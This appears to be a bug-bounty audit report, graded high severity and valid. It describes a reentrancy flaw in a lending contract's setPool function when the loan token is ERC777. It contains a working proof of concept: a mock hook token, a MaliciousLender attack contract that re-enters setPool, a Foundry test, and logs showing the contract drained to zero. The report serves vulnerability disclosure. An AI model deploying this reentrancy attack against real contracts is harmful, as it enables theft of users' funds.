20,000 USDC
View results
Submission Details
Severity: high
Valid

if loan token if a erc777 lender contract can be drained

Summary

Due to the lack of reentrancy guard in the code, if the token is an ERC777, the lender can be drained

Vulnerability Details

function setPool(Pool calldata p) public returns (bytes32 poolId) {
// validate the pool
if (
p.lender != msg.sender ||
p.minLoanSize == 0 ||
p.maxLoanRatio == 0 ||
p.auctionLength == 0 ||
p.auctionLength > MAX_AUCTION_LENGTH ||
p.interestRate > MAX_INTEREST_RATE
) revert PoolConfig();
// check if they already have a pool balance
poolId = getPoolId(p.lender, p.loanToken, p.collateralToken);
// you can't change the outstanding loans
if (p.outstandingLoans != pools[poolId].outstandingLoans)
revert PoolConfig();
uint256 currentBalance = pools[poolId].poolBalance;
if (p.poolBalance > currentBalance) {
// if new balance > current balance then transfer the difference from the lender
IERC20(p.loanToken).transferFrom(
p.lender,
address(this),
p.poolBalance - currentBalance
);
} else if (p.poolBalance < currentBalance) {
// if new balance < current balance then transfer the difference back to the lender
IERC20(p.loanToken).transfer(
p.lender,
currentBalance - p.poolBalance//@audit contract can be drained ?
);
}
emit PoolBalanceUpdated(poolId, p.poolBalance);
if (pools[poolId].lender == address(0)) {
// if the pool doesn't exist then create it
emit PoolCreated(poolId, p);
} else {
// if the pool does exist then update it
emit PoolUpdated(poolId, p);
}
pools[poolId] = p;
}

As you can see, due to the lack of reentrancy guard in the setPool function, a malicious user can exploit this with a reentrancy attack and steal all funds

the vulerability is in the line 157

} else if (p.poolBalance < currentBalance) {
// if new balance < current balance then transfer the difference back to the lender
IERC20(p.loanToken).transfer(
p.lender,
currentBalance - p.poolBalance//@audit contract can be drained ?
);
}

a malicious lender can provided p.balance less than the currentBalance and once the transfer is ok reentran again and again.

here a test for demostration.
first the mock erc777.
by test proposition only simulate the hook

interface IERC777Recipient{
function tokensReceived() external;
}
contract mockERC777 is ERC20 {
constructor()ERC20("sas","asdas"){}
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to,_amount);
}
function transfer(address to, uint256 amount) public override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
IERC777Recipient(to).tokensReceived();
return true;
}
}

then the maliciouslender contract

contract MaliciousLender{
Lender lender;
address loanToken;
address CollateralToken;
constructor (address _lender,address _loantoken,address _collateraltoken){
lender = Lender(_lender);
loanToken= _loantoken;
CollateralToken = _collateraltoken;
}
function attack() public {
Pool memory p = Pool({
lender: address(this),
loanToken: loanToken,
collateralToken: CollateralToken,
minLoanSize: 100*10**18,
poolBalance: 0,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
}
function set_pool() public{
Pool memory p = Pool({
lender: address(this),
loanToken: loanToken,
collateralToken: CollateralToken,
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
IERC20(p.loanToken).approve(address(lender),type(uint256).max);
lender.setPool(p);
}
function tokensReceived() external {
uint256 balance = IERC20(loanToken).balanceOf(address(lender));
if(balance > 0)
{
Pool memory p = Pool({
lender: address(this),
loanToken: loanToken,
collateralToken: CollateralToken,
minLoanSize: 100*10**18,
poolBalance: 0,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
}
}
}

then add in setup

+ mockERC777 tokenERC777;
+ MaliciousLender maliciouslender;
Lender lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
address public attacker = address(0x5);
function setUp() public {
tokenERC777 = new mockERC777();//erc777
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
maliciouslender = new MaliciousLender(address(lender),address(tokenERC777),address(collateralToken));
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
tokenERC777.mint(address(attacker), 100000*10**18);//erc777
tokenERC777.mint(address(lender1), 100000*10**18);//erc777
tokenERC777.mint(address(lender2), 100000*10**18);//erc777
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.stopPrank();
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.stopPrank();
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.stopPrank();
}

then the test

function test_erc777_createPool() public {
vm.startPrank(lender2);
tokenERC777.approve(address(lender),type(uint256).max);
Pool memory p = Pool({
lender: lender2,
loanToken: address(tokenERC777),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
vm.stopPrank();
vm.startPrank(lender1);
tokenERC777.approve(address(lender),type(uint256).max);
p = Pool({
lender: lender1,
loanToken: address(tokenERC777),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
vm.stopPrank();
console.log("balance erc777 lender contract before attack",tokenERC777.balanceOf(address(lender)));
vm.startPrank(attacker);
tokenERC777.transfer(address(maliciouslender),1000*10**18);
maliciouslender.set_pool();
maliciouslender.attack();
vm.stopPrank();
console.log("balance erc777 lender contract after attack",tokenERC777.balanceOf(address(lender)));
}

and the resul of the test

Running 1 test for test/Lender.t.sol:LenderTest
[PASS] test_erc777_createPool() (gas: 781040)
Logs:
balance erc777 lender contract before attack 2000000000000000000000
balance erc777 lender contract after attack 0
Test result: ok. 1 passed; 0 failed; finished in 1.56s

Impact

lender.sol can be drained

Tools Used

manual review

Recommendations

add reentrancyGuard

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!